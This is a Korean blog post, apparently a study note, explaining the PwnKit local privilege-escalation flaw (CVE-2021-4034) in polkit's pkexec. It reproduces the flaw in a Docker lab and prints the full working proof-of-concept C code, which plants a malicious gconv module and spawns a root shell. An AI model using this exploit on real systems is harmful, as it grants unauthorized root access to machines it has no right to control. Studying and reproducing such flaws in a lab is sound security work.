우연한 기회에 CVE-2021-4034에 대한 세부 내용 및 poc를 알게되어 공부 겸 포스팅 해보려 한다.

이 취약점이름은 PwnKit이라 부르고 polkit의 pkexec 모듈에서 존재하는 취약점이라고 한다.

 

이 취약점을 이해하기 전에 알아야할 사전 지식이 있다.


1. main 함수에는 argc, argv, envp 라는 디폴트 인자가 존재한다. 이를 command-line argument 라고 한다.

argc = Argument Count ,  인자 갯수

argv = Argument Vector,   인자 정보, 배열

envp = Environment Path, 환경 변수

 

참고)

https://m.blog.naver.com/sharonichoya/220501242693

 

 

2. Linux 커널은 연속적인 방식으로 메모리에 매개 변수 배열과 환경 변수 배열을 배치함.

argc = 5일때,

argv[0] argv[1] argv[2] argv[3] argv[4] envp[0] envp[1] ... NULL


 

1. polkit 이란?

유닉스 운영 체제의 시스템 전반에서 인증 단계를 통제하기 위해 만들어진 프로그램이다.

인증을 받지 않은 프로세스로 하여금 인증을 받은 계정과의 커뮤니케이션이 가능하도록 체계적인 방법을 제공한다.

 

 

2. 취약점 발생 이유

pkexec의 setuid권한이 존재하여 발생하는 취약점이다.

이 취약점은 pkexec 컴포넌트의 main 함수를 보면된다.

main (int argc, char *argv[])
{
...
	for (n = 1; n < (guint) argc; n++)		// 1번
	  {
	  ...
	  }
...
	path = g_strdup (argv[n]);			// 2번
...
	if (path[0] != '/')
	  {
	  ...
	  s = g_find_program_in_path (path);  		// 3번
	  ...
 	  argv[n] = path = s;				// 4번
	  }
...

코드를 보면 1번에서 command-line argument를 받아 처리하는것을 볼 수 있다.

그리고 2번에서 프로그램 실행 경로를 받게 되는데 argc가 1이상이면 문제가 없지만, 만약 argc가 0이라면 문제가 된다.

1번에서 n 값이 1으로 정해지기 때문에 2번코드는 path = g_strdup (argv[1])이 된다.

argc가 0이라면 argv[1] == envp[0] 이 되기 때문에 envp[0]는 argv[1] 포인터로 접근이 가능하게 된다.

 

* argv[1] == envp[0]이 되는 이유

출처 :&amp;amp;amp;nbsp;https://access.redhat.com/ko/security/vulnerabilities/6676491

 

envp[0] 값을 받은 3번은 절대경로로 시작하지 않기 때문에 g_find_program_in_path() 함수로 전달되게 된다.

g_find_program_in_path() 함수는 PATH 환경 변수 디렉토리에서 envp[0]에 해당하는 실행 파일을 검색한다. 

그런 다음 실행파일 전체 경로를 4번에 덮어쓴다. 즉 envp[0]에 덮어쓸 수 있게 되는 것이다.

 

이를 이용해 환경 변수를 조작하여 root권한 상승을 할 수 있다.

 

 

3. 테스트 해보기

> 환경

ubuntu 20.04

polkit 버전 : 0.105-26ubuntu1

 

 

 

1) 도커에 우분투 ubuntu 20.04 버전 다운로드

docker run -d --name ubuntu -p 22:22 -it --privileged ubuntu:20.04

-p : 포트 (80:8080 으로 해도 상관없음)

-it : 컨테이너에 접근하여 조작하기 위한 옵션

-privileged : 관리자 권한 획득 옵션

 

 

 

2) gcc 컴파일러 다운로드

apt update && apt install -y gcc

 

 

 

3) 취약한 policykit 버전(0.105-26ubuntu1) 다운로드

apt install -y libpolkit-gobject-1-0=0.105-26ubuntu1 libpolkit-agent-1-0=0.105-26ubuntu1 policykit-1=0.105-26ubuntu1

설치 중간에 이런게 나오는데 나는 지역 : 아시아(6) > 타임 존 : 서울(69)으로 설정 함

 

 

 

4) 테스트 용 일반 권한 유저 생성

groupadd -g 1111 user && useradd --home /tmp -u 1111 -g user -s /bin/sh user

* 일반 사용자로 넘어 가기 전에 exploit 다운 받고 가거나 root 비밀번호 설정 후 넘어가야함

안깔고 전환했다가 sudo 명령어도 없어서 다시 깔았음

 

 

 

5) github 파일 받기 위해 git 설치

apt insatll git

 

 

 

6) github에서 poc 다운로드

git clone https://github.com/arthepsy/CVE-2021-4034.git

출처 : https://github.com/arthepsy/CVE-2021-4034.git

 

 

 

7) 테스트용 일반 유저 접근

su user

 

 

 

8) poc 실행

gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
./cve-2021-4034-poc

*만약 permission denied가 나온다면 root 권한에서 CVE-2021-4034 폴더의 권한을 777로 바꾸고 해볼것

(chmod 777 CVE-2021-4034)

 


** poc 코드

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell = 
	"#include <stdio.h>\n"
	"#include <stdlib.h>\n"
	"#include <unistd.h>\n\n"
	"void gconv() {}\n"
	"void gconv_init() {\n"
	"	setuid(0); setgid(0);\n"
	"	seteuid(0); setegid(0);\n"
	"	system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
	"	exit(0);\n"
	"}";

int main(int argc, char *argv[]) {
	FILE *fp;
	system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
	system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
	fp = fopen("pwnkit/pwnkit.c", "w");
	fprintf(fp, "%s", shell);
	fclose(fp);
	system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
	char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
	execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}

 

 


 

출처 및 참고:

https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

 

https://hackyboiz.github.io/2022/02/10/l0ch/2022-02-10/

복사했습니다!